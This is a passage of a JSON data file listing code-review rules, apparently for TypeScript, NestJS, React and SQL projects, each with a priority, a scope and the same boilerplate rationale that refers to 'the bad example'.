module","rule":"Pick either filter or flatMap to drop unwanted items and apply it consistently rather than mixing both.","apiRule":"Pick either filter or flatMap to drop unwanted items and apply it consistently rather than mixing both. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Structured data must match what the page actually renders","rule":"Generate JSON-LD/SEO markup from the same item count, order and nesting the user sees, not server defaults.","apiRule":"Generate JSON-LD/SEO markup from the same item count, order and nesting the user sees, not server defaults. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Give related hooks clearly distinct, layered names","rule":"Rename near-identical hook names so the transport layer and the consumer layer are obvious at a glance.","apiRule":"Rename near-identical hook names so the transport layer and the consumer layer are obvious at a glance. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use immutable array methods to avoid manual copying","rule":"Prefer toSpliced/with/toSorted which return new arrays, replacing copy-then-mutate patterns.","apiRule":"Prefer toSpliced/with/toSorted which return new arrays, replacing copy-then-mutate patterns. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Call a test setup function once and reuse its result","rule":"Save the output of a helper to a variable instead of invoking it multiple times in the same test.","apiRule":"Save the output of a helper to a variable instead of invoking it multiple times in the same test. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Follow the logger's required argument order","rule":"Respect the logging library's signature (e.g. pino expects merge-object first, message second).","apiRule":"Respect the logging library's signature (e.g. pino expects merge-object first, message second). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use an explicit backend flag over a fragile derived condition","rule":"Prefer a dedicated server-provided boolean (e.g. hasTransactions) over inferring state from a quantity that can hit zero.","apiRule":"Prefer a dedicated server-provided boolean (e.g. hasTransactions) over inferring state from a quantity that can hit zero. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Return after sending an API response to stop further execution","rule":"Always return when writing a response in a route handler so code below doesn't keep running.","apiRule":"Always return when writing a response in a route handler so code below doesn't keep running. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Don't claim an error response shape your service never returns","rule":"If a service returns null on failure, don't type/check for a structured ErrorResponse that never arrives, or it yields false positives.","apiRule":"If a service returns null on failure, don't type/check for a structured ErrorResponse that never arrives, or it yields false positives. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep a type next to its domain owner until a second domain needs it","rule":"Define a type alongside the type it belongs to; extract to a shared file only when an unrelated type also uses it.","apiRule":"Define a type alongside the type it belongs to; extract to a shared file only when an unrelated type also uses it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Suffix icon components to disambiguate from same-named files","rule":"Name icon components with an Icon suffix when a domain noun already has many files of that name.","apiRule":"Name icon components with an Icon suffix when a domain noun already has many files of that name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Derive boolean UI flags inline to avoid explicit undefined classnames","rule":"Compute a clear derived boolean (e.g. isClamped) and use it directly rather than juggling possibly-undefined values.","apiRule":"Compute a clear derived boolean (e.g. isClamped) and use it directly rather than juggling possibly-undefined values. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Store timeouts in a ref and clear them on unmount","rule":"Keep setTimeout/interval handles in a ref and clear them in cleanup to avoid callbacks firing after unmount.","apiRule":"Keep setTimeout/interval handles in a ref and clear them in cleanup to avoid callbacks firing after unmount. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Prefer DB cascade deletes over manually deleting child rows","rule":"When removing an aggregate, rely on ON DELETE CASCADE FK hooks instead of issuing manual deletes for each related table where feasible.","apiRule":"When removing an aggregate, rely on ON DELETE CASCADE FK hooks instead of issuing manual deletes for each related table where feasible. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Reuse a single description string for code and ApiOperation docs","rule":"When the same human description applies, feed it into ApiOperation so Swagger docs stay in sync with the code's intent.","apiRule":"When the same human description applies, feed it into ApiOperation so Swagger docs stay in sync with the code's intent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Promote a string-literal union into a real enum when it is a domain concept","rule":"A meaningful set of string values used across the code should be a shared enum rather than an inline union retyped in places.","apiRule":"A meaningful set of string values used across the code should be a shared enum rather than an inline union retyped in places. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid type casts by fixing the source type rather than asserting","rule":"Reach for accurate types or generics at the source instead of casting at the use site to silence the compiler.","apiRule":"Reach for accurate types or generics at the source instead of casting at the use site to silence the compiler. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Collapse multiple sequential loops over the same data into one pass","rule":"When several forEach/for loops iterate the same array, combine them into a single iteration.","apiRule":"When several forEach/for loops iterate the same array, combine them into a single iteration. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep package.json engines and Dockerfile Node version in sync with the real runtime","rule":"The declared Node version (engines, base image) should match the version actually used, not whatever a tool guessed.","apiRule":"The declared Node version (engines, base image) should match the version actually used, not whatever a tool guessed. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Terminate SQL statements with a semicolon","rule":"Finish raw SQL queries with a trailing semicolon for consistency and to avoid concatenation surprises.","apiRule":"Finish raw SQL queries with a trailing semicolon for consistency and to avoid concatenation surprises. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove parentheses that do not change evaluation","rule":"Strip redundant grouping parentheses that add visual noise without affecting precedence.","apiRule":"Strip redundant grouping parentheses that add visual noise without affecting precedence. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Extract a repeated subexpression into a named constant","rule":"When the same computation appears in multiple places, assign it to a well-named const and reuse it.","apiRule":"When the same computation appears in multiple places, assign it to a well-named const and reuse it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add a clarifying comment when a field's meaning or unit changes","rule":"When a field changes semantics (e.g. int to decimal where the decimal encodes a fraction), document what the values mean so callers are not surprised.","apiRule":"When a field changes semantics (e.g. int to decimal where the decimal encodes a fraction), document what the values mean so callers are not surprised. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Place the most selective condition first in a WHERE clause","rule":"Lead with the cheapest, most discriminating predicate (an indexed id) before expensive comparisons for better query efficiency.","apiRule":"Lead with the cheapest, most discriminating predicate (an indexed id) before expensive comparisons for better query efficiency. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Expose a relation as an expandable object rather than a bare boolean flag","rule":"Prefer `parent: { id }` over `hasParent: boolean` so the field doubles as a flag and can grow richer data later.","apiRule":"Prefer `parent: { id }` over `hasParent: boolean` so the field doubles as a flag and can grow richer data later. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Assert complete, balanced clauses in tests rather than truncated prefixes","rule":"A toContain check on a partial expression passes even when later parts (closing parens, sort key, direction, tiebreaker) regress; assert the full clause and cover both directions.","apiRule":"A toContain check on a partial expression passes even when later parts (closing parens, sort key, direction, tiebreaker) regress; assert the full clause and cover both directions. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Persist each record's own timestamp, not a batch-wide date","rule":"When processing many items in one run, write each item's real timestamp rather than a shared run/day-level date that loses time-of-day.","apiRule":"When processing many items in one run, write each item's real timestamp rather than a shared run/day-level date that loses time-of-day. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Fail loudly when a required lookup is unmapped instead of silently dropping the record","rule":"A missing map entry that later throws inside a swallowing wrapper drops the item with no signal; guard and log the unmapped case explicitly.","apiRule":"A missing map entry that later throws inside a swallowing wrapper drops the item with no signal; guard and log the unmapped case explicitly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep ORDER BY sort keys in the same unit/currency as the displayed value","rule":"A pagination sort key and the displayed value must use the same scale; mixing converted and raw-fallback branches reorders rows wrongly.","apiRule":"A pagination sort key and the displayed value must use the same scale; mixing converted and raw-fallback branches reorders rows wrongly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Apply a fix to all sibling paths, not just one of them","rule":"When you correct a calculation or mapping in a list endpoint, update the matching single-item/detail path so the two cannot diverge.","apiRule":"When you correct a calculation or mapping in a list endpoint, update the matching single-item/detail path so the two cannot diverge. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Filter a collection before mapping it","rule":"Apply filter prior to map so you only transform the items you keep, avoiding wasted work.","apiRule":"Apply filter prior to map so you only transform the items you keep, avoiding wasted work. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Wrap third-party SDK calls in your result/error wrapper inside the wrapper service","rule":"Centralize error handling for an external SDK in the wrapping service so callers do not each repeat try/catch around the same call.","apiRule":"Centralize error handling for an external SDK in the wrapping service so callers do not each repeat try/catch around the same call. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Group related types under a namespace and drop redundant name prefixes","rule":"Export a family of types inside a namespace so callers write Stripe.Product instead of repeating a StripeProduct prefix on every type.","apiRule":"Export a family of types inside a namespace so callers write Stripe.Product instead of repeating a StripeProduct prefix on every type. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Read shared config directly instead of threading it through constructor params","rule":"For an internal service where the values never vary, read from the global config rather than passing them as constructor parameters for flexibility you will not use.","apiRule":"For an internal service where the values never vary, read from the global config rather than passing them as constructor parameters for flexibility you will not use. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use a regular module instead of a dynamic one when nothing is configured per import","rule":"If a module's providers do not depend on per-import options, register it as a static module rather than a dynamic forRoot-style one.","apiRule":"If a module's providers do not depend on per-import options, register it as a static module rather than a dynamic forRoot-style one. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Make internal service members private rather than public","rule":"Methods that are only used inside the class should be private so the public surface reflects the real API.","apiRule":"Methods that are only used inside the class should be private so the public surface reflects the real API. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the nullish-coalescing operator for default/fallback values","rule":"Prefer `a ?? b` over verbose conditional fallbacks (and over `||` when 0/'' are valid) for picking an existing value.","apiRule":"Prefer `a ?? b` over verbose conditional fallbacks (and over `||` when 0/'' are valid) for picking an existing value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use method overloads so return type is inferred from the argument type","rule":"When a method branches on an argument's type, declare overloads so callers get the correct return type without manual casts.","apiRule":"When a method branches on an argument's type, declare overloads so callers get the correct return type without manual casts. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Give reduce an explicit accumulator type when adding dynamic keys","rule":"Pass a generic to reduce (e.g. Record<string, T>) so dynamically-keyed accumulators do not trigger implicit-any index errors.","apiRule":"Pass a generic to reduce (e.g. Record<string, T>) so dynamically-keyed accumulators do not trigger implicit-any index errors. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not strip characters that are part of legitimate search input","rule":"Sanitizing a search string by removing all non-alphanumerics breaks valid queries (e.g. names with slashes); only escape what the query layer requires.","apiRule":"Sanitizing a search string by removing all non-alphanumerics breaks valid queries (e.g. names with slashes); only escape what the query layer requires. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not assume only one Set-Cookie header is returned","rule":"When reading a cookie from an upstream response, find the specific cookie by name rather than blindly taking the first of potentially many.","apiRule":"When reading a cookie from an upstream response, find the specific cookie by name rather than blindly taking the first of potentially many. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Validate structured input through a DTO + validate() rather than manual field checks","rule":"Replace hand-written field-by-field validation with a class-validator DTO and an error transformer that lists invalid fields automatically.","apiRule":"Replace hand-written field-by-field validation with a class-validator DTO and an error transformer that lists invalid fields automatically. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Drop runtime checks that the variable's declared type rules out","rule":"If a value's type already guarantees presence, an extra existence/null check is dead code.","apiRule":"If a value's type already guarantees presence, an extra existence/null check is dead code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Order method arguments with the primary resource id first","rule":"Place the entity's own id before contextual/scope ids and value objects for a predictable signature.","apiRule":"Place the entity's own id before contextual/scope ids and value objects for a predictable signature. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Update dependent records before deleting the resource they derive from","rule":"If other rows inherit a value from a resource, update those rows before deleting the source so they do not point at a deleted asset.","apiRule":"If other rows inherit a value from a resource, update those rows before deleting the source so they do not point at a deleted asset. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Collect side-effect inputs and run them after the main work completes","rule":"When firing side effects (like deleting images), accumulate their inputs and execute them after the result/transaction wrapper resolves, not interleaved with it.","apiRule":"When firing side effects (like deleting images), accumulate their inputs and execute them after the result/transaction wrapper resolves, not interleaved with it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Treat non-critical side effects (e.g. image deletion) as fire-and-forget","rule":"A side effect whose failure must not block the main operation should be invoked fire-and-forget, not awaited inline in the critical path.","apiRule":"A side effect whose failure must not block the main operation should be invoked fire-and-forget, not awaited inline in the critical path. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer an INSERT...SELECT over a find-then-bulkCreate pair","rule":"A read followed by a bulk insert can often be a single INSERT INTO ... SELECT, which is fewer round trips and atomic.","apiRule":"A read followed by a bulk insert can often be a single INSERT INTO ... SELECT, which is fewer round trips and atomic. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use BadRequest for invalid body fields, NotFound for missing path resources","rule":"A bad identifier inside the request body is a 400 Bad Request; reserve 404 Not Found for resources addressed by the path.","apiRule":"A bad identifier inside the request body is a 400 Bad Request; reserve 404 Not Found for resources addressed by the path. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Decouple services from the HTTP request object","rule":"Extract the values you need in the controller and pass primitives to the service; do not pass the whole request (and especially not both at once).","apiRule":"Extract the values you need in the controller and pass primitives to the service; do not pass the whole request (and especially not both at once). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Declare responses common to all endpoints at the controller level","rule":"Hoist response decorators that every endpoint shares onto the controller class instead of repeating them per route.","apiRule":"Hoist response decorators that every endpoint shares onto the controller class instead of repeating them per route. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Add Min/Max and MaxLength validators to bounded DTO fields","rule":"IsInt/IsString alone do not bound a value; add Min/Max and MaxLength so out-of-range or oversized input is rejected.","apiRule":"IsInt/IsString alone do not bound a value; add Min/Max and MaxLength so out-of-range or oversized input is rejected. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Allow null on update DTO fields that should be clearable","rule":"If a field must be settable back to empty, it has to accept null in the update DTO or the database value can never be cleared.","apiRule":"If a field must be settable back to empty, it has to accept null in the update DTO or the database value can never be cleared. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Cast values in the query rather than coercing strings to numbers in app code","rule":"If numeric values arrive as strings, cast them in SQL/select so the app does not pepper code with unary-plus conversions risking NaN.","apiRule":"If numeric values arrive as strings, cast them in SQL/select so the app does not pepper code with unary-plus conversions risking NaN. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not build heavy server-side filtering the client can do trivially","rule":"When a result set is tiny and self-describing, let the client filter rather than adding query-param plumbing.","apiRule":"When a result set is tiny and self-describing, let the client filter rather than adding query-param plumbing. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep async/await so errors propagate from the framework correctly","rule":"Do not strip await from a returned promise if doing so changes how the framework surfaces or wraps the error.","apiRule":"Do not strip await from a returned promise if doing so changes how the framework surfaces or wraps the error. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Do not pass two parameters that always hold the same value","rule":"If two arguments are always identical, collapse them into one parameter.","apiRule":"If two arguments are always identical, collapse them into one parameter. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep log message wording consistent with the action it describes","rule":"A log line should name the operation it actually performs, not a copy-pasted opposite or stale verb.","apiRule":"A log line should name the operation it actually performs, not a copy-pasted opposite or stale verb. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't import or invoke an initializer that an upstream import already runs","rule":"If a module you already import runs an initialization side effect, importing/calling it again duplicates the work; trace the import chain and remove the redundant call.","apiRule":"If a module you already import runs an initialization side effect, importing/calling it again duplicates the work; trace the import chain and remove the redundant call. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Let a component accept the data shape it needs instead of remapping at the call site","rule":"Avoid reshaping data into a bespoke structure just before passing it in; design the component to consume the natural input so callers don't repeat remapping.","apiRule":"Avoid reshaping data into a bespoke structure just before passing it in; design the component to consume the natural input so callers don't repeat remapping. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Render persistent UI (titles) outside data/error-conditional branches","rule":"A section title should stay visible regardless of loading or error state; don't nest it inside the branch that only renders when data is present.","apiRule":"A section title should stay visible regardless of loading or error state; don't nest it inside the branch that only renders when data is present. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't repeat mock resets already configured globally","rule":"If the test runner is set up with clearMocks/restoreMocks globally, per-test resetAllMocks/clearAllMocks calls are redundant.","apiRule":"If the test runner is set up with clearMocks/restoreMocks globally, per-test resetAllMocks/clearAllMocks calls are redundant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't swap a hydration ref onto an empty element","rule":"Pointing a component's ref at a fresh empty <div> means hydration has nothing to attach to and silently does nothing; keep the ref on the real placeholder markup.","apiRule":"Pointing a component's ref at a fresh empty <div> means hydration has nothing to attach to and silently does nothing; keep the ref on the real placeholder markup. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use IntersectionObserver threshold 0 for lazy hydration","rule":"For hydrate/load-on-scroll, keep the observer threshold at the default 0 so work starts the moment the element touches the viewport, not after it's partly visible.","apiRule":"For hydrate/load-on-scroll, keep the observer threshold at the default 0 so work starts the moment the element touches the viewport, not after it's partly visible. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Route user-facing strings through the translation layer","rule":"Don't hardcode display text; user-facing copy should go through i18n/translations so it can be localized and centrally managed.","apiRule":"Don't hardcode display text; user-facing copy should go through i18n/translations so it can be localized and centrally 